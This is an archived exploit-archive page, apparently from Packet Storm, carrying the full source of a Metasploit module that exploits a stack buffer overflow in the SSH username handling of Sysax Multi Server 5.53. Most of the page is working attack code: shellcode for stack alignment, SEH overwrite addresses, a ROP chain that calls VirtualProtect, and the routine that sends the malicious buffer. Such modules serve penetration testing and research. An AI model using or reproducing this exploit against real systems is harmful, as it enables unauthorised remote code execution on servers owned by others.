Twenty Year Anniversary

Sysax 5.53 SSH Username Buffer Overflow

Sysax 5.53 SSH Username Buffer Overflow
Posted Mar 5, 2012
Authored by sinn3r, Craig Freyman | Site metasploit.com

This Metasploit module exploits a vulnerability found in Sysax's SSH service. By supplying a long username, the SSH server will copy that data on the stack without any proper bounds checking, therefore allowing remote code execution under the context of the user. Please note that previous versions (before 5.53) are also affected by this bug.

tags | exploit, remote, code execution
advisories | OSVDB-79689
MD5 | 2e6c4b3c09156f6867a5e4b79066ef1d

Sysax 5.53 SSH Username Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info={})
super(update_info(info,
'Name' => "Sysax 5.53 SSH Username Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Sysax's SSH service. By
supplying a long username, the SSH server will copy that data on the stack
without any proper bounds checking, therefore allowing remote code execution
under the context of the user. Please note that previous versions
(before 5.53) are also affected by this bug.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Craig Freyman', #Initial discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '79689'],
['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
['URL', 'http://www.exploit-db.com/exploits/18535/']
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x3a",
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'ExitFunction' => "seh"
},
'Platform' => 'win',
'Targets' =>
[
[
'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
{
'Rop' => false,
'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe
}
],
[
'Sysax 5.53 on Win2K3 SP1/SP2',
{
'Rop' => true,
'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN
}
]
],
'Privileged' => false,
'DisclosureDate' => "Feb 27 2012",
'DefaultTarget' => 0))

register_options(
[
OptInt.new('RPORT', [false, 'The target port', 22])
], self.class)
end

def load_netssh
begin
require 'net/ssh'
return true
rescue LoadError
return false
end
end

def get_regular_exploit
#
# Align the stack to the beginning of the fixed size payload
#
align = "\x54" #PUSH ESP
align << "\x58" #POP EAX
align << "\x04\x08" #ADD AL,0x08
align << "\x8b\x18" #MOV EBX, [EAX]
align << "\x93" #XCHG EAX,EBX
align << "\x66\x2d\x10\x04" #SUB AX,0x361
align << "\x50" #PUSH EAX
align << "\xc3" #RET

#
# Our payload limited to 1024+4 bytes
#
p = make_nops(4)
p << payload.encoded

#
# Craft the buffer like this:
# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
# for the IP length, so the next 9404-byte space will begin at a consistent place.
# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
# partial-overwrite to allow a null byte in SEH.
#
buf = ''
buf << rand_text(392, payload_badchars)
buf << rand_text(20, payload_badchars)
buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20
buf << p
buf << align
buf << "\xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back
buf << [target.ret].pack('V*')

return buf
end

def get_rop_exploit

junk = rand_text(4).unpack("L")[0].to_i
nop = make_nops(4).unpack("L")[0].to_i

# !mona rop -m msvcrt
p =
[
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77bb0c86, # XCHG EAX,ESI # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bb2563, # POP EAX # RETN
0x03C0990F,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bb2563, # POP EAX # RETN
0x03c0984f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bb2563, # POP EAX # RETN
nop,
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
].pack("V*")

p << payload.encoded

#
# Similar buffer structure to get_regular_exploit
#
buf = ''
buf << rand_text(392, payload_badchars)
buf << rand_text(20, payload_badchars)
buf << rand_text(1012, payload_badchars)
buf << p
buf << rand_text(9204-buf.length)
buf << rand_text(4, payload_badchars)
buf << [target.ret].pack('V*')

return buf
end

def exploit
#
# Load net/ssh so we can talk the SSH protocol
#
has_netssh = load_netssh
if not has_netssh
print_error("You don't have net/ssh installed. Please run gem install net-ssh")
return
end

#
# Create buffer based on target (DEP or no DEP)
# If possible, we still prefer to use the regular version because it's more stable
#
if target['Rop']
buf = get_rop_exploit
else
buf = get_regular_exploit
end

#
# Send the malicious buffer
#
pass = rand_text_alpha(8)
begin
print_status("Sending malicious request to #{rhost}:#{rport}...")
ssh = Net::SSH.start(
datastore['RHOST'],
buf,
{
:password => pass,
:port => datastore['RPORT'],
:timeout => 1
})

::Timeout.timeout(1) {ssh.close} rescue nil

rescue Errno::ECONNREFUSED
print_error("Cannot establish a connection on #{rhost}:#{rport}")
return
rescue ::Exception => e
if e.message =~ /fingerprint [0-9a-z\:]+ does not match/
print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
return
end
end

handler(ssh)
end
end

=begin
Todo: We seriously need a MSF SSH mixin to handle the SSH protocol ourselves, not
relying on net/ssh.
=end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    15 Files
  • 11
    Dec 11th
    30 Files
  • 12
    Dec 12th
    25 Files
  • 13
    Dec 13th
    15 Files
  • 14
    Dec 14th
    14 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close